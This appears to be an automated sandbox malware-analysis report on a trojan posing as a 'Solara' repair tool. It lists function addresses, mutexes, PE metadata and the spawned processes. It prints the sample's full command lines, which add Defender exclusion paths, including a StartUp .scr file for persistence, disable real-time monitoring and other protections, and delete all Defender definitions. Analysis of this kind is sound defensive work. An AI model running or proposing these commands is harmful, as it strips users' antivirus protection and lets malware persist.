Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AF09F10 0_2_00007FF70AF09F10
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AEFAD1D 0_2_00007FF70AEFAD1D
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AF0E5E0 0_2_00007FF70AF0E5E0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00007FFD98D03027 10_2_00007FFD98D03027
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A3EABA0 65_2_00007FF69A3EABA0
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A3F0A2C 65_2_00007FF69A3F0A2C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A417B24 65_2_00007FF69A417B24
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A40AE10 65_2_00007FF69A40AE10
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A3F54C0 65_2_00007FF69A3F54C0
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A3F1180 65_2_00007FF69A3F1180
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A3E82F0 65_2_00007FF69A3E82F0
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A3E1884 65_2_00007FF69A3E1884
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A3EB540 65_2_00007FF69A3EB540
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A439B98 65_2_00007FF69A439B98
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A424B38 65_2_00007FF69A424B38
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A3F8C30 65_2_00007FF69A3F8C30
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A425C8C 65_2_00007FF69A425C8C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A3EDD04 65_2_00007FF69A3EDD04
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A436D0C 65_2_00007FF69A436D0C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A409D0C 65_2_00007FF69A409D0C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A410D20 65_2_00007FF69A410D20
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A40D97C 65_2_00007FF69A40D97C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A4269FD 65_2_00007FF69A4269FD
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A3E49B8 65_2_00007FF69A3E49B8
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A41FA6C 65_2_00007FF69A41FA6C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A425A70 65_2_00007FF69A425A70
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A3ECB14 65_2_00007FF69A3ECB14
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A44AAC0 65_2_00007FF69A44AAC0
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A44AF90 65_2_00007FF69A44AF90
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A415F4C 65_2_00007FF69A415F4C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A41C00C 65_2_00007FF69A41C00C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A3F3030 65_2_00007FF69A3F3030
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A424FE8 65_2_00007FF69A424FE8
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A44DFD8 65_2_00007FF69A44DFD8
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A418040 65_2_00007FF69A418040
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A410074 65_2_00007FF69A410074
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A40C05C 65_2_00007FF69A40C05C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A400104 65_2_00007FF69A400104
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A4400F0 65_2_00007FF69A4400F0
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A429D74 65_2_00007FF69A429D74
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A3F1E04 65_2_00007FF69A3F1E04
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A3EEE08 65_2_00007FF69A3EEE08
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A431DCC 65_2_00007FF69A431DCC
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A3ECE84 65_2_00007FF69A3ECE84
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A42EEA4 65_2_00007FF69A42EEA4
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A42AE50 65_2_00007FF69A42AE50
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A43FE74 65_2_00007FF69A43FE74
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A3F8E68 65_2_00007FF69A3F8E68
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A41AF0C 65_2_00007FF69A41AF0C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A3E9EFC 65_2_00007FF69A3E9EFC
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A3F2360 65_2_00007FF69A3F2360
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A410374 65_2_00007FF69A410374
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A40C3E0 65_2_00007FF69A40C3E0
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A425468 65_2_00007FF69A425468
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A40D458 65_2_00007FF69A40D458
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A3EA504 65_2_00007FF69A3EA504
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A422164 65_2_00007FF69A422164
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A3FE21C 65_2_00007FF69A3FE21C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A4281CC 65_2_00007FF69A4281CC
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A4441CC 65_2_00007FF69A4441CC
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A4202A4 65_2_00007FF69A4202A4
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A407244 65_2_00007FF69A407244
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A3EF24C 65_2_00007FF69A3EF24C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A432268 65_2_00007FF69A432268
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A431314 65_2_00007FF69A431314
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A43832C 65_2_00007FF69A43832C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A3FD2C0 65_2_00007FF69A3FD2C0
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A3E42E0 65_2_00007FF69A3E42E0
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A3F17C8 65_2_00007FF69A3F17C8
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A4067E0 65_2_00007FF69A4067E0
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A3E8884 65_2_00007FF69A3E8884
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A3F2890 65_2_00007FF69A3F2890
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A4318A8 65_2_00007FF69A4318A8
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A42190C 65_2_00007FF69A42190C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A410904 65_2_00007FF69A410904
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A41D91C 65_2_00007FF69A41D91C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A4138E8 65_2_00007FF69A4138E8
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A40F5B0 65_2_00007FF69A40F5B0
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A3F8598 65_2_00007FF69A3F8598
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A41F59C 65_2_00007FF69A41F59C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A43260C 65_2_00007FF69A43260C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A4165FC 65_2_00007FF69A4165FC
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A437660 65_2_00007FF69A437660
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A41A710 65_2_00007FF69A41A710
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A420710 65_2_00007FF69A420710
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A422700 65_2_00007FF69A422700
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A3F86C4 65_2_00007FF69A3F86C4
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A4486D4 65_2_00007FF69A4486D4
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: String function: 00007FF69A3F8444 appears 48 times
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: String function: 00007FF69A4249F4 appears 53 times
Source: C:\Users\user\Desktop\cmd.exe Code function: String function: 00007FF70AEF2710 appears 52 times
PE / OLE file has an invalid certificate
Source: cmd.exe Static PE information: invalid certificate
PE file contains executable resources (Code or Archives)
Source: cmd.exe Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: rar.exe.0.dr Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.0.dr Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Sample file is different than original file name gathered from version info
Source: cmd.exe Binary or memory string: OriginalFilename vs cmd.exe
Source: cmd.exe, 00000000.00000003.1697853254.00000162C434F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_bz2.pyd. vs cmd.exe
Source: cmd.exe, 00000000.00000003.1698520496.00000162C434F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_decimal.pyd. vs cmd.exe
Source: cmd.exe, 00000000.00000003.1700392163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamelibsslH vs cmd.exe
Source: cmd.exe, 00000000.00000003.1698930176.00000162C434F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_queue.pyd. vs cmd.exe
Source: cmd.exe, 00000000.00000003.1701982831.00000162C434F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameunicodedata.pyd. vs cmd.exe
Source: cmd.exe, 00000000.00000003.1699040150.00000162C434F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_socket.pyd. vs cmd.exe
Source: cmd.exe, 00000000.00000003.1701369163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameselect.pyd. vs cmd.exe
Source: cmd.exe, 00000000.00000003.1698782625.00000162C434F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_lzma.pyd. vs cmd.exe
Source: cmd.exe, 00000000.00000000.1697422056.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameWPR.exen' vs cmd.exe
Source: cmd.exe, 00000000.00000003.1697672664.00000162C434F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamevcruntime140.dllT vs cmd.exe
Source: cmd.exe, 00000000.00000003.1701468471.00000162C434F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamesqlite3.dll0 vs cmd.exe
Source: cmd.exe, 00000000.00000003.1699151811.00000162C434F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_sqlite3.pyd. vs cmd.exe
Source: cmd.exe, 00000000.00000003.1699275879.00000162C434F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_ssl.pyd. vs cmd.exe
Source: cmd.exe, 00000000.00000003.1698681168.00000162C434F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_hashlib.pyd. vs cmd.exe
Source: cmd.exe, 00000000.00000003.1697979195.00000162C434F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_ctypes.pyd. vs cmd.exe
Source: cmd.exe, 00000001.00000002.2107385871.00007FFE130CC000.00000004.00000001.01000000.00000012.sdmp Binary or memory string: OriginalFilename_queue.pyd. vs cmd.exe
Source: cmd.exe, 00000001.00000002.2107110070.00007FFE126F3000.00000004.00000001.01000000.00000006.sdmp Binary or memory string: OriginalFilename_ctypes.pyd. vs cmd.exe
Source: cmd.exe, 00000001.00000002.2104939736.00007FFE0146E000.00000004.00000001.01000000.0000000B.sdmp Binary or memory string: OriginalFilenamesqlite3.dll0 vs cmd.exe
Source: cmd.exe, 00000001.00000000.1702552927.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameWPR.exen' vs cmd.exe
Source: cmd.exe, 00000001.00000002.2105244168.00007FFE0EB6D000.00000004.00000001.01000000.0000000E.sdmp Binary or memory string: OriginalFilename_ssl.pyd. vs cmd.exe
Source: cmd.exe, 00000001.00000002.2104535149.00007FFDFB8A0000.00000004.00000001.01000000.00000004.sdmp Binary or memory string: OriginalFilenamepython310.dll. vs cmd.exe
Source: cmd.exe, 00000001.00000002.2106592817.00007FFE11EEC000.00000004.00000001.01000000.00000008.sdmp Binary or memory string: OriginalFilename_lzma.pyd. vs cmd.exe
Source: cmd.exe, 00000001.00000002.2102050539.00007FFDFAFF7000.00000004.00000001.01000000.00000013.sdmp Binary or memory string: OriginalFilenameunicodedata.pyd. vs cmd.exe
Source: cmd.exe, 00000001.00000002.2103626383.00007FFDFB414000.00000004.00000001.01000000.0000000F.sdmp Binary or memory string: OriginalFilenamelibcryptoH vs cmd.exe
Source: cmd.exe, 00000001.00000002.2102504128.00007FFDFB0B3000.00000004.00000001.01000000.00000010.sdmp Binary or memory string: OriginalFilenamelibsslH vs cmd.exe
Source: cmd.exe, 00000001.00000002.2108506409.00007FFE1A467000.00000002.00000001.01000000.00000005.sdmp Binary or memory string: OriginalFilenamevcruntime140.dllT vs cmd.exe
Source: cmd.exe, 00000001.00000002.2106257882.00007FFE11EBE000.00000004.00000001.01000000.0000000A.sdmp Binary or memory string: OriginalFilename_sqlite3.pyd. vs cmd.exe
Source: cmd.exe, 00000001.00000002.2105503765.00007FFE10313000.00000004.00000001.01000000.00000011.sdmp Binary or memory string: OriginalFilename_hashlib.pyd. vs cmd.exe
Source: cmd.exe, 00000001.00000002.2107931730.00007FFE13348000.00000004.00000001.01000000.00000009.sdmp Binary or memory string: OriginalFilename_bz2.pyd. vs cmd.exe
Source: cmd.exe, 00000001.00000002.2107620418.00007FFE1330C000.00000004.00000001.01000000.0000000D.sdmp Binary or memory string: OriginalFilenameselect.pyd. vs cmd.exe
Source: cmd.exe, 00000001.00000002.2105816102.00007FFE11528000.00000004.00000001.01000000.0000000C.sdmp Binary or memory string: OriginalFilename_socket.pyd. vs cmd.exe
Source: cmd.exe Binary or memory string: OriginalFilenameWPR.exen' vs cmd.exe
Searches for the Microsoft Outlook file path
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE Jump to behavior
Very long command line found
Source: C:\Users\user\Desktop\cmd.exe Process created: Commandline size = 3647
Source: C:\Windows\System32\cmd.exe Process created: Commandline size = 3615
Source: C:\Users\user\Desktop\cmd.exe Process created: Commandline size = 3647
Source: C:\Windows\System32\cmd.exe Process created: Commandline size = 3615
Source: libcrypto-1_1.dll.0.dr Static PE information: Section: UPX1 ZLIB complexity 0.9987754672181373
Source: libssl-1_1.dll.0.dr Static PE information: Section: UPX1 ZLIB complexity 0.9903915229885057
Source: python310.dll.0.dr Static PE information: Section: UPX1 ZLIB complexity 0.9989695677157001
Source: sqlite3.dll.0.dr Static PE information: Section: UPX1 ZLIB complexity 0.9974986001493175
Source: unicodedata.pyd.0.dr Static PE information: Section: UPX1 ZLIB complexity 0.9949597928113553
Source: classification engine Classification label: mal100.troj.spyw.expl.evad.winEXE@135/56@2/3
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A3FCAFC GetLastError,FormatMessageW, 65_2_00007FF69A3FCAFC
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A3FEF50 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle, 65_2_00007FF69A3FEF50
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A42B57C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitWindowsEx, 65_2_00007FF69A42B57C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A403144 GetDiskFreeSpaceExW, 65_2_00007FF69A403144
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5416:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8704:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8788:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8648:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7364:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7348:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8140:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7772:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8156:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7372:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8864:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7920:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8248:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7928:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9160:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8412:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2936:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8616:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1260:120:WilError_03
Source: C:\Users\user\Desktop\cmd.exe Mutant created: \Sessions\1\BaseNamedObjects\v
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8504:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8132:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8148:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8120:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7244:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7408:120:WilError_03
Source: C:\Users\user\Desktop\cmd.exe File created: C:\Users\user\AppData\Local\Temp\_MEI72642 Jump to behavior
Source: cmd.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\systeminfo.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe File read: C:\Users\desktop.ini
Source: C:\Users\user\Desktop\cmd.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: cmd.exe, 00000001.00000002.2104624049.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: cmd.exe, 00000001.00000002.2104624049.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: cmd.exe, 00000001.00000002.2104624049.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: cmd.exe, 00000001.00000002.2104624049.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: cmd.exe, 00000001.00000002.2104624049.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: cmd.exe, 00000001.00000002.2104624049.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: cmd.exe, 00000001.00000002.2104624049.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: cmd.exe ReversingLabs: Detection: 36%
Source: C:\Users\user\Desktop\cmd.exe File read: C:\Users\user\Desktop\cmd.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\cmd.exe "C:\Users\user\Desktop\cmd.exe"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Users\user\Desktop\cmd.exe "C:\Users\user\Desktop\cmd.exe"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\cmd.exe'"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Solara has been repaired.', 0, 'Solara | Repaired', 48+16);close()""
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\? ?.scr'"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Solara has been repaired.', 0, 'Solara | Repaired', 48+16);close()"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\? ?.scr'
